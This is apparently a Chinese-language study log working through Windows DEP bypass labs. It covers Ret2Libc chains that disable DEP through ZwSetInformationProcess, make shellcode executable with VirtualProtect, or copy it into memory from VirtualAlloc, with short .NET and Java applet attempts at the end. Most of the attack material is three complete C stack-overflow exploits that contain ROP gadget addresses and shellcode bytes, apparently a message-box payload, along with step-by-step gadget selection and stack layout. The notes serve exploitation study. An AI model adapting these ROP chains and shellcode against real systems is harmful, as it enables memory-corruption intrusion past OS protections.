目录
DEP机制的保护原理
溢出攻击根源就是没有区分好代码和数据
基本上我们不能重新设计计算机体系结构,太费时间了,我们就在现在的基础上做一些事情那就是DEP(数据执行保护,Data Execution Prevention)
基本原理是将数据所在的内存页标识为不可执行,当程序成功溢出转入shellcode时,程序尝试在数据页面执行指令,此时CPU就会抛出异常,而不是去执行指令,而失去异常处理
DEP主要作用是阻止数据页执行代码,数据页包括默认的堆页,各种堆栈页,以及内存页
根据实现机制分为:软件DEP和硬件DEP(硬件DEP才是真正的DEP)
xp sp2开始提供这种技术的支持
硬件DEP ,AMD跟Intel都做了设计:
AMD叫NX,Intel叫XD
操作系统通过设置内存页的页表;来标识是否允许该页上执行代码
看一下在哪可以看到设置
win7的计算机属性-高级
xp
vs2005开始也加入了链接选项 /NXCOMPAT
采用/NXCOMPAT编译的程序会在PE头设置一个标识
攻击未启用DEP的程序
由于有一个模块不支持DEP,那个进程就不能贸然开启DEP,否则发生异常。
可以看到连360的主动防御在win7下时没开的
利用Ret2Libc挑战DEP
1.通过跳到ZwSetInformationProcess将DEP关闭
2.通过跳到VirtualProtect将shellcode所在内存页设置为可执行
3.通过VirtualAlloc开辟一段可执行的内存空间改,将shellcode复制到该区域
Ret2Libc实战之利用ZwSetInformationProcess
关闭dep需要特定的参数,
-
第一个参数为进程的句柄,设置为−1 的时候表示为当前进程
-
第二个参数为信息类 —– 0x22
-
第三个参数可以用来设置_KEXECUTE_OPTIONS —- 0x2
-
第四个参数为第三个参数的长度 — 0x4
可以看到这样子的传参有个棘手的0x00
但是微软的兼容性惹祸了,如果一个进程的Permanent位没有设置,当它加载dll,并对其进行DEP兼容性检查,当兼容性存在问题,就会当存在兼容性问题时进程的DEP 就会被关闭。
为此微软设立了LdrpCheckNXCompatibility函数,
当符合以下条件之一时进程的DEP 会被关闭:
-
当DLL 受SafeDisc 版权保护系统保护时;
-
当DLL 包含有.aspcak、.pcle、.sforce 等字节时;
-
Windows Vista 下面当DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动DEP 的模块时。
还有的话就是AL=1的时候程序才会继续执行
首先我们开启所有程序的DEP,(当然关闭GS和SafeSEH)
最终我的利用代码代码
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址 "\x95\x8B\x1D\x5D"//修正EBP(push esp; pop ebp; ret) "\x63\x23\x80\x7C"//增大ESP(retn n) "\x64\x4E\xC5\x7D" // jmp esp "\x24\xBE\x93\x7C"//关闭DEP代码的起始位置 "\xE9\x33\xFF\xFF"//长跳转 "\xFF\x90\x90\x90" ; void test() { char tt[176]; strcpy(tt,shellcode); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
首先找一些rop
可以看到两个都找到了,其他两个步骤的下面应该用到
为避免不截断,选择不包含00的地址,除了第一个,都可以
选ntdll的第一个吧,"\x70\xE2\x92\x7C"
将返回地址覆盖成这个,前面就是178+4(ebp)+返回地址了
可以看到返回地址被我们成功覆盖了
之后就将eax赋值为1,
加入我们接下来将下一个rop如果为关闭DEP的
出现了错误
原理尝试在ebp值得附近写入数据
那我们需要将ebp执向一个可写的位置
可通过push esp pop ebp retn指令将ebp定位到一个可写的位置
回顾之前的截图retn到eax置1前,只有esp是可以写入的
先用第一个吧 5D1B73AA
跟着就运行程序
直接找到哪个函数,下个断点,返回会地址跟随一下就到达调用处了
我的ebp-4跟作者的不一样。。
经过排查发现我使用的是ret8的,从栈中弹出多了一个dword
那现在就一样了
只要前4 位为二进制代码为0100 就可关闭DEP,而0x22(00100010)刚刚符合这个要求,所以用0x22 冲刷掉EBP-4 处的值还是可以关闭DEP 的。
作者说得前四位应该是从低位算起的
但是我们关闭了dep却失去了程序的控制权肯定是不行的
看看关闭dep后准备返回时
所以我们见到的将esp复制给ebp还是不行
一般来说当ESP 值小于EBP 时,防止入栈时破坏当前栈内内容的调整方法不外乎减小ESP和增大EBP,由于本次实验中我们的shellcode 位于内存低址,所以减小ESP 可能会破坏shellcode,而增大EBP 的指令在本次实验中竟然找不到。一个变通的方法是增大ESP 到一个安全的位置,让EBP 和ESP 之间的空间足够大,这样关闭DEP 过程中的压栈操作就不会冲刷到EBP 的范围内了。
retn n可以大幅增大esp
可以看到找到了一堆
"\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x95\x8B\x1D\x5D"//修正EBP
"\x63\x23\x80\x7C"//增大ESP
"\x90\x90\x90\x90" // 上面的 retn 4,会将esp4
"\x24\xBE\x93\x7C"//关闭DEP代码的起始位置
需要注意的是修正EBP 指令返回时带有的偏移量会影响后续指令,所以我们在布置shellcode 的时要加入相应的填充。
关闭dep后返回
因为ret之后esp还要减4,所以之后就可以跳到0012FEC4执向的内存了
那么90909090那里填成我们熟悉的jmp esp就好了
0012FEC4那里就长跳转,跳到上面我们shellcode的
可以计算出0x0012FEC4 距离shellcode (0012FDFC)为200 个字节,所以跳转指令需要回调205 个字节(200+5 字节跳转指令长度)。分析结束,我们开始布置shellcode,shellcode 布局如图12.3.13所示。
-205补码再小端就是
\x33\xFF\xFF\xFF
长跳就是0xe9机器码
看看是不是
又是熟悉的弹窗代码
实验成功,哎辛苦
Ret2Libc实战之利用VirtualProtect
看一下函数
BOOL VirtualProtect( LPVOID lpAddress, // region of committed pages SIZE_T dwSize, // size of the region DWORD flNewProtect, // desired access protection PDWORD lpflOldProtect // old protection );
英文注释也是解释得比较清楚了
那我们这样
VirtualProtect(shellcode的地址,shellcode的大小,0x40, 某个可写的地址)
0x40是可读可写可执行的意思
-
由于包含0x00,strcpy复制字符串会被截断,我们就是用memcpy
-
不同机器的shellcode在内存的地址可能会变化,本实验采用巧妙的动态栈帧构造方法动态确定shellcode的起始位置
代码:
这是作者的代码,实验过程中需要修改
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x8A\x17\x84\x7C"//pop eax retn "\x0A\x1A\xBF\x7C"//pop pop pop retn "\xBA\xD9\xBB\x7C"//修正EBP "\x8B\x17\x84\x7C"//RETN "\x90\x90\x90\x90" "\xBF\x7D\xC9\x77"//push esp jmp eax "\xFF\x00\x00\x00" "\x40\x00\x00\x00" "\xBF\x7D\xC9\x77"//push esp jmp eax "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xE8\x1F\x80\x7C"//修改内存属性 "\x90\x90\x90\x90" "\xA4\xDE\xA2\x7C"//jmp esp "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void test() { char tt[176]; memcpy(tt,shellcode,420); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
VirtualProtect实际调用了VirtualProtectEx,我们以7C801AD9作为入口就好
由于ebp在溢出的时候被破坏,所以需要先修复,
调整的地址已经找到了
在那个调整ebp的ret 下断点
我们将esp+4的话就一个retn就行了
看看这条指令怎么找
找到
可以看到我们将esp指向了ebp+8,就是说我们成功动态地将ebp+8设置为栈中我们可控的地址
由于有两个参数是固定的——shellcode的大小和那个权限,我们接下来只要保证ebp+0x18处存放的地址是可写的就行了
又是这种策略,让esp指向ebp+0x18
3个pop ret就行了
就会找到一堆
但是我们不能修改eax,esp,ebp这几个寄存器的
先选这条吧
那我们怎么控制eax,可以用pop eax; ret
确定一下我们那两个固定参数,shellcode大小0xff就足够弹框代码用了,那个常量就用0x40
最后将shellcode布置如下
可以看到已经可以调用啦
总结一下刚才的过程:
首先通过pop eax ;ret将pop pop pop ret的地址保存到eax
之后修正ebp,由于是retn 4,所以要加4个字节的90填充
之后就是执行push esp,jmp eax,此时通过ebp索引的参数值已经可以对上号了,除了那个可写的地址
之后我们就去jmp eax去控制那个可写地址ebp+0x14
eax就是3个pop的地址
3个pop之后就去,esp就执行ebp+0x14
retn 之后就又去执行"\xB8\xDD\xEB\x77"//push esp jmp eax
那么ebp+0x14就赋值为当前的esp,栈的第一肯定是可写的,那么就大功告成了
我们可以去调用VirtualProtect了
跟着我们布置
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
之后在布置VirtualProtect的入口即可
之后调用完我们将控制权回到栈上
因为那里有个pop ebp,所以搞个4个字节0x90后在布置jmp esp
之后有个retn 0x10
所以要布置16个字节的0x90
最终shellcode
成功
Ret2Libc实战之利用VirtualAlloc
看一下这函数
LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit SIZE_T dwSize, // size of region DWORD flAllocationType, // type of allocation DWORD flProtect // type of access protection );
代码(下面为作者的源码,实验过程会修改具体的地址):
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xBA\xD9\xBB\x7C"//修正EBP retn 4 "\xBC\x45\x82\x7C"//申请空间 "\x90\x90\x90\x90" "\xFF\xFF\xFF\xFF"//-1当前进程 "\x00\x00\x03\x00"//申请空间起始地址 "\xFF\x00\x00\x00"//申请空间大小 "\x00\x10\x00\x00"//申请类型 "\x40\x00\x00\x00"//申请空间访问类型 "\x90\x90\x90\x90" "\x8A\x17\x84\x7C"//pop eax retn "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x0B\x1A\xBF\x7C"//pop pop retn "\xBA\xD9\xBB\x7C"//修正EBP retn4 "\x5F\x78\xA6\x7C"//pop retn "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用 "\x00\x00\x03\x00"//可执行内存空间地址,拷贝用 "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址 "\xFF\x00\x00\x00"//shellcode长度 "\xAC\xAF\x94\x7C"//memcpy "\x00\x00\x03\x00"//一个可以读地址 "\x00\x00\x03\x00"//一个可以读地址 "\x00\x90\x90\x94" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void test() { char tt[176]; memcpy(tt,shellcode,450); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
可以看到跟上个实验的函数差不多
但是这里的参数我们不存在动态确定的问题,所以可以直接布置栈帧
参数的设置如下:
VirtualAlloc(0x00030000,0xFF,0x00001000,0x40)
由于ebp在溢出的时候被覆盖,所以还是先修复
可以看到参数已经设置好了
而且返回时候有个0x10,所以要有4个dword的填充
继续,第二次修正ebp情形
不懂的看一下memcpy函数如何获取参数就知道了
如果我们相用push esp的方式设置源内存地址,就要让esp指向ebp+0x10,那么push完就刚好指向ebp+0xc了
那么有两个问题,如何使esp指向ebp+0x10和push esp后如何收回控制权
可以看到上面,retn 4,后esp指向ebp+8,只要再pop一下就让esp指向ebp+0xc了
那我们当前ebp处布置一个pop ecx,retn
之后获取程序最佳控制权最佳位置在ebp+0x14,因为既保证memcpy参数不破坏又减少shellcode的长度
所以执行完push后,pop两次就执行ebp+0x14了
但是可以发现除了shellcode,还有其他东西也复制过去了
之后由于跟作者的地址有区别,所以那个后面不一样,所以就memcpy后直接跳到shellcode就好了
成功
利用可执行内存挑战DEP
然而我这没看到140000可读
但是尝试一下嘛
但是实际复制完了后事能执行的
但是直接双击文件又不行,。。。。。。
利用.NET挑战DEP
尝试附加执行就有个访问违例
应该是没加载那个dll了
算了,继续做下一个实验,
这个就是覆盖返回地址,跳到.NET中执行了
利用java applet挑战DEP
打开poc,alert开始溢出后附加,尝试搜索那个shellcode地址
结果找不到,算了